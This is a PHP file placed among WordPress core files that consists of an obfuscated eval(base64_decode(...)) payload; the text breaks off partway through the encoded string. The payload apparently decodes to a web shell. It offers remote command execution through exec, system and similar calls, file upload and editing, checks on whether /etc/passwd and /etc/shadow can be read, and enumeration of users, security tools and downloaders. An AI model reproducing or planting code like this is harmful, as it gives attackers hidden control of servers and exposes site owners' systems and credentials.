Current File : /home/virtualki/22346/wp-includes/widgets/sdkteivh.php |
<?php
eval(base64_decode('CmZ1bmN0aW9uIGp6d2R6KCkgewogICAgJGFuYXdhaXRoID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pID8gIiA8Zm9udCBjb2xvcj0nZ3JlZW4nPihXcml0ZWFibGUpPC9mb250PiIgOiAiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOwogICAgZWNobyAiCiAgICA8L2Rpdj4KICAgIDx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+CiAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRhbmF3YWl0aDxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGFuYXdhaXRoPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9ia3VzcCB2YWx1ZT0nIiAuIGtrd2F1bygnRmlsZXNNYW4nKSAuICInPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXZscnNvIHZhbHVlPSciIC4ga2t3YXVvKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSAuICInPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWxzZGVlIHZhbHVlPSciIC4ga2t3YXVvKCd1cGxvYWRGaWxlJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zZnRyIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnc2Z0ciddKSA/IGtrd2F1bygkX1BPU1RbJ3NmdHInXSkgOiAnJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGFuYXdhaXRoPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+CiAgICAgICAgPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgfHwgKHN0cnBvcyhpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKSAhPT0gZmFsc2UpKSB7CgogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJGhvb2l6eikgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgfHwgKHN0cnBvcyhpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKSAhPT0gZmFsc2UpKSB7CgogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGhvb2l6eikgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCn0KCmZ1bmN0aW9uIGZkcHV2a3d5KCRqY25ua3dwZnQpIHsKICAgICRybnN0cmlmdnFjZWsgPSAnJzsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRqY25ua3dwZnQsICRybnN0cmlmdnFjZWspOwogICAgICAgICRybnN0cmlmdnFjZWsgPSBAam9pbigiXG4iLCAkcm5zdHJpZnZxY2VrKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkamNubmt3cGZ0KTsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkamNubmt3cGZ0KTsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gc2hlbGxfZXhlYygkamNubmt3cGZ0KTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykgJiYgaXNfcmVzb3VyY2UoJGV6bnJpcHggPSBAcG9wZW4oJGpjbm5rd3BmdCwgInIiKSkpIHsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gIiI7CiAgICAgICAgd2hpbGUgKCFAZmVvZigkZXpucmlweCkpIHsKICAgICAgICAgICAgJHJuc3RyaWZ2cWNlayAuPSBmcmVhZCgkZXpucmlweCwgMTAyNCk7CiAgICAgICAgfQogICAgICAgIHBjbG9zZSgkZXpucmlweCk7CiAgICB9CgogICAgcmV0dXJuICRybnN0cmlmdnFjZWs7Cn0KCmZ1bmN0aW9uIGRidGNxKCRlbXFiYmduKSB7CiAgICBpZiAoaXNfaW50KCRlbXFiYmduKSkgewogICAgICAgICRlbXFiYmduID0gc3ByaW50ZigiJXUiLCAkZW1xYmJnbik7CiAgICB9CgogICAgaWYgKCRlbXFiYmduID49IDEwNzM3NDE4MjQpIHsKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkZW1xYmJnbiAvIDEwNzM3NDE4MjQpIC4gJyBHQic7CiAgICB9IGVsc2VpZiAoJGVtcWJiZ24gPj0gMTA0ODU3NikgewogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRlbXFiYmduIC8gMTA0ODU3NikgLiAnIE1CJzsKICAgIH0gZWxzZWlmICgkZW1xYmJnbiA+PSAxMDI0KSB7CiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJGVtcWJiZ24gLyAxMDI0KSAuICcgS0InOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJGVtcWJiZ24gLiAnIEInOwogICAgfQp9CgpmdW5jdGlvbiBtdWFzc3FoZ3QoJGhvb2l6eikgewogICAgaWYgKCgkaG9vaXp6ICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdzJzsKICAgIH0gZWxzZWlmICgoJGhvb2l6eiAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAnbCc7CiAgICB9IGVsc2VpZiAoKCRob29penogJiAweDgwMDApID09IDB4ODAwMCkgewogICAgICAgICRqZWRwcnd2YWVmID0gJy0nOwogICAgfSBlbHNlaWYgKCgkaG9vaXp6ICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdiJzsKICAgIH0gZWxzZWlmICgoJGhvb2l6eiAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAnZCc7CiAgICB9IGVsc2VpZiAoKCRob29penogJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgICRqZWRwcnd2YWVmID0gJ2MnOwogICAgfSBlbHNlaWYgKCgkaG9vaXp6ICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdwJzsKICAgIH0gZWxzZSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAndSc7CiAgICB9CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDQwKSA/ICgoJGhvb2l6eiAmIDB4MDgwMCkgPyAncycgOiAneCcpIDogKCgkaG9vaXp6ICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDAwOCkgPyAoKCRob29penogJiAweDA0MDApID8gJ3MnIDogJ3gnKSA6ICgoJGhvb2l6eiAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAwMDEpID8gKCgkaG9vaXp6ICYgMHgwMjAwKSA/ICd0JyA6ICd4JykgOiAoKCRob29penogJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRqZWRwcnd2YWVmOwp9CgpmdW5jdGlvbiBxd3pnaygkZXpucmlweCkgewogICAgaWYgKCFAaXNfcmVhZGFibGUoJGV6bnJpcHgpKSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBtdWFzc3FoZ3QoQGZpbGVwZXJtcygkZXpucmlweCkpIC4gJzwvZm9udD4nOwogICAgfSBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGV6bnJpcHgpKSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gbXVhc3NxaGd0KEBmaWxlcGVybXMoJGV6bnJpcHgpKSAuICc8L2ZvbnQ+JzsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMjVmZjAwPicgLiBtdWFzc3FoZ3QoQGZpbGVwZXJtcygkZXpucmlweCkpIC4gJzwvZm9udD4nOwogICAgfQp9CgpmdW5jdGlvbiBpaHhva2ZkdCgkZ3FkYXhzcndjbikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGdxZGF4c3J3Y24pOwogICAgfSBlbHNlIHsKICAgICAgICAkYXlzcmtkID0gb3BlbmRpcigkZ3FkYXhzcndjbik7CiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJHNzdHBidGN2ZnkgPSByZWFkZGlyKCRheXNya2QpKSkgewogICAgICAgICAgICAkdWRldWtxd3N2a2VbXSA9ICRzc3RwYnRjdmZ5OwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICR1ZGV1a3F3c3ZrZTsKICAgIH0KfQoKZnVuY3Rpb24gcG5odXQoJGhvb2l6eikgewogICAgJG5ydWZzdnhrayA9IGZkcHV2a3d5KCd3aGljaCAnIC4gJGhvb2l6eik7CiAgICBpZiAoIWVtcHR5KCRucnVmc3Z4a2spKSB7CiAgICAgICAgcmV0dXJuICRucnVmc3Z4a2s7CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcWVtdmsoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoKICAgIGZ1bmN0aW9uIGJqanVhaigkdnpsYWlub3QsICRlZ2NvcmV0KSB7CiAgICAgICAgJGVnY29yZXQgPSB0cmltKCRlZ2NvcmV0KTsKICAgICAgICBpZiAoJGVnY29yZXQpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+JyAuICR2emxhaW5vdCAuICc6IDwvc3Bhbj4nOwogICAgICAgICAgICBpZiAoc3RycG9zKCRlZ2NvcmV0LCAiXG4iKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGVnY29yZXQgLiAnPGJyPic7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJGVnY29yZXQgLiAnPC9wcmU+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBiamp1YWooJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKSB7CiAgICAgICAgYmpqdWFqKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7CiAgICB9CgogICAgYmpqdWFqKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ212c3J3Y2JpZnInXSA/ICRHTE9CQUxTWydtdnNyd2NiaWZyJ10gOiAnbm9uZScpOwogICAgYmpqdWFqKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIGJqanVhaignU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIGJqanVhaignU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIGJqanVhaignY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSA/ICdlbmFibGVkJyA6ICdubycpOwogICAgJGpvdGxmYWNzcWd1ID0gYXJyYXkoKTsKCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkgewogICAgICAgICRqb3RsZmFjc3FndVtdID0gIk15U3FsICgiIC4gbXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkgLiAiKSI7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJNU1NRTCI7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJPcmFjbGUiOwogICAgfQoKICAgIGJqanVhaignU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICBlY2hvICc8YnI+JzsKCiAgICBpZiAoJEdMT0JBTFNbJ3lua3ppcnYnXSA9PSAnbml4JykgewogICAgICAgIGJqanVhaignUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJykgPyAieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iIDogJ25vJyk7CiAgICAgICAgYmpqdWFqKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKSA/ICJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiIgOiAnbm8nKTsKICAgICAgICBiamp1YWooJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgYmpqdWFqKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKICAgICAgICBpZiAoISRHTE9CQUxTWydpenpjc3dobnJleW8nXSkgewogICAgICAgICAgICAkcGl3bWVndiA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2djYycsCiAgICAgICAgICAgICAgICAnbGNjJywKICAgICAgICAgICAgICAgICdjYycsCiAgICAgICAgICAgICAgICAnbGQnLAogICAgICAgICAgICAgICAgJ21ha2UnLAogICAgICAgICAgICAgICAgJ3BocCcsCiAgICAgICAgICAgICAgICAncGVybCcsCiAgICAgICAgICAgICAgICAncHl0aG9uJywKICAgICAgICAgICAgICAgICdydWJ5JywKICAgICAgICAgICAgICAgICd0YXInLAogICAgICAgICAgICAgICAgJ2d6aXAnLAogICAgICAgICAgICAgICAgJ2J6aXAnLAogICAgICAgICAgICAgICAgJ2J6aXAyJywKICAgICAgICAgICAgICAgICduYycsCiAgICAgICAgICAgICAgICAnbG9jYXRlJywKICAgICAgICAgICAgICAgICdzdWlkcGVybCcKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHNhbmp3eGV1enkgPSBhcnJheSgKICAgICAgICAgICAgICAgICdrYXYnLAogICAgICAgICAgICAgICAgJ25vZDMyJywKICAgICAgICAgICAgICAgICdiZGNvcmVkJywKICAgICAgICAgICAgICAgICd1dnNjYW4nLAogICAgICAgICAgICAgICAgJ3NhdicsCiAgICAgICAgICAgICAgICAnZHJ3ZWJkJywKICAgICAgICAgICAgICAgICdjbGFtZCcsCiAgICAgICAgICAgICAgICAncmtodW50ZXInLAogICAgICAgICAgICAgICAgJ2Noa3Jvb3RraXQnLAogICAgICAgICAgICAgICAgJ2lwdGFibGVzJywKICAgICAgICAgICAgICAgICdpcGZ3JywKICAgICAgICAgICAgICAgICd0cmlwd2lyZScsCiAgICAgICAgICAgICAgICAnc2hpZWxkY2MnLAogICAgICAgICAgICAgICAgJ3BvcnRzZW50cnknLAogICAgICAgICAgICAgICAgJ3Nub3J0JywKICAgICAgICAgICAgICAgICdvc3NlYycsCiAgICAgICAgICAgICAgICAnbGlkc2FkbScsCiAgICAgICAgICAgICAgICAndGNwbG9kZycsCiAgICAgICAgICAgICAgICAnc3hpZCcsCiAgICAgICAgICAgICAgICAnbG9nY2hlY2snLAogICAgICAgICAgICAgICAgJ2xvZ3dhdGNoJywKICAgICAgICAgICAgICAgICdzeXNtYXNrJywKICAgICAgICAgICAgICAgICd6bWJzY2FwJywKICAgICAgICAgICAgICAgICdzYXdtaWxsJywKICAgICAgICAgICAgICAgICd3b3Jtc2NhbicsCiAgICAgICAgICAgICAgICAnbmluamEnCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICRvZ3dwdWxzID0gYXJyYXkoJ3dnZXQnLCAnZmV0Y2gnLCAnbHlueCcsICdsaW5rcycsICdjdXJsJywgJ2dldCcsICdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAkam90bGZhY3NxZ3UgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkcGl3bWVndiBhcyAkZm5qamZ5b2FrKSB7CiAgICAgICAgICAgICAgICBpZiAocG5odXQoJGZuampmeW9haykpIHsKICAgICAgICAgICAgICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICRmbmpqZnlvYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYmpqdWFqKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCAkam90bGZhY3NxZ3UpKTsKICAgICAgICAgICAgJGpvdGxmYWNzcWd1ID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJHNhbmp3eGV1enkgYXMgJGZuampmeW9haykgewogICAgICAgICAgICAgICAgaWYgKHBuaHV0KCRmbmpqZnlvYWspKSB7CiAgICAgICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1W10gPSAkZm5qamZ5b2FrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBiamp1YWooJ0RhbmdlcicsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICAgICAgICAgICRqb3RsZmFjc3FndSA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvZ3dwdWxzIGFzICRmbmpqZnlvYWspIHsKICAgICAgICAgICAgICAgIGlmIChwbmh1dCgkZm5qamZ5b2FrKSkgewogICAgICAgICAgICAgICAgICAgICRqb3RsZmFjc3FndVtdID0gJGZuampmeW9hazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgYmpqdWFqKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgYmpqdWFqKCdIREQgc3BhY2UnLCBmZHB1dmt3eSgnZGYgLWgnKSk7CiAgICAgICAgICAgIGJqanVhaignSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydkeHh4cmQnXSwgJF9QT1NUWydrdnVlZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZHh4eHJkJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydrdnVlZCddKSkgewogICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1ID0gIiI7CiAgICAgICAgICAgICAgICBmb3IgKDsgJF9QT1NUWydkeHh4cmQnXSA8PSAkX1BPU1RbJ2t2dWVkJ107ICRfUE9TVFsnZHh4eHJkJ10rKykgewogICAgICAgICAgICAgICAgICAgICR2bm53bXBodnIgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydkeHh4cmQnXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2bm53bXBodnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1IC49IGpvaW4oJzonLCAkdm5ud21waHZyKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgYmpqdWFqKCdVc2VycycsICRqb3RsZmFjc3FndSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGJqanVhaignT1MgVmVyc2lvbicsIGZkcHV2a3d5KCd2ZXInKSk7CiAgICAgICAgYmpqdWFqKCdBY2NvdW50IFNldHRpbmdzJywgZmRwdXZrd3koJ25ldCBhY2NvdW50cycpKTsKICAgICAgICBiamp1YWooJ1VzZXIgQWNjb3VudHMnLCBmZHB1dmt3eSgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAganp3ZHooKTsKfQoKZnVuY3Rpb24gYWN0aW9uUGhwKCkgewogICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOwogICAgb2Jfc3RhcnQoKTsKCiAgICAvLyDQn9GA0LjQvNC10YAg0LHQtdC30L7Qv9Cw0YHQvdC+0LPQviDQstGL0LfQvtCy0LAg0YTRg9C90LrRhtC40LkKICAgICRhbGxvd2VkX2Z1bmN0aW9ucyA9IFsKICAgICAgICAncGhwaW5mbycsCiAgICAgICAgJ3RpbWUnLAogICAgICAgICdkYXRlJywKICAgICAgICAvLyDQtNC+0LHQsNCy0YzRgtC1INGA0LDQt9GA0LXRiNGR0L3QvdGL0LUg0YTRg9C90LrRhtC40Lgg0LfQtNC10YHRjAogICAgXTsKCiAgICAvLyDQn9GA0LXQtNC/0L7Qu9C+0LbQuNC8LCDRh9GC0L4g0LIgbHNkZWUg0L/QtdGA0LXQtNCw0ZHRgtGB0Y8g0LjQvNGPINGE0YPQvdC60YbQuNC4INC4INCw0YDQs9GD0LzQtdC90YLRiyBKU09OCiAgICAkaW5wdXQgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2xzZGVlJ10sIHRydWUpOwoKICAgIGlmIChpc19hcnJheSgkaW5wdXQpICYmIGlzc2V0KCRpbnB1dFsnZnVuY3Rpb24nXSkgJiYgaW5fYXJyYXkoJGlucHV0WydmdW5jdGlvbiddLCAkYWxsb3dlZF9mdW5jdGlvbnMpKSB7CiAgICAgICAgJGZ1bmMgPSAkaW5wdXRbJ2Z1bmN0aW9uJ107CiAgICAgICAgJGFyZ3MgPSBpc3NldCgkaW5wdXRbJ2FyZ3MnXSkgJiYgaXNfYXJyYXkoJGlucHV0WydhcmdzJ10pID8gJGlucHV0WydhcmdzJ10gOiBbXTsKCiAgICAgICAgLy8g0LLRi9C30YvQstCw0LXQvCDRgNCw0LfRgNC10YjRkdC90L3Rg9GOINGE0YPQvdC60YbQuNGOINGBINCw0YDQs9GD0LzQtdC90YLQsNC80LgKICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkZnVuYywgJGFyZ3MpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICLQndC10LTQvtC/0YPRgdGC0LjQvNCw0Y8g0YTRg9C90LrRhtC40Y8g0LjQu9C4INGE0L7RgNC80LDRgiDQt9Cw0L/RgNC+0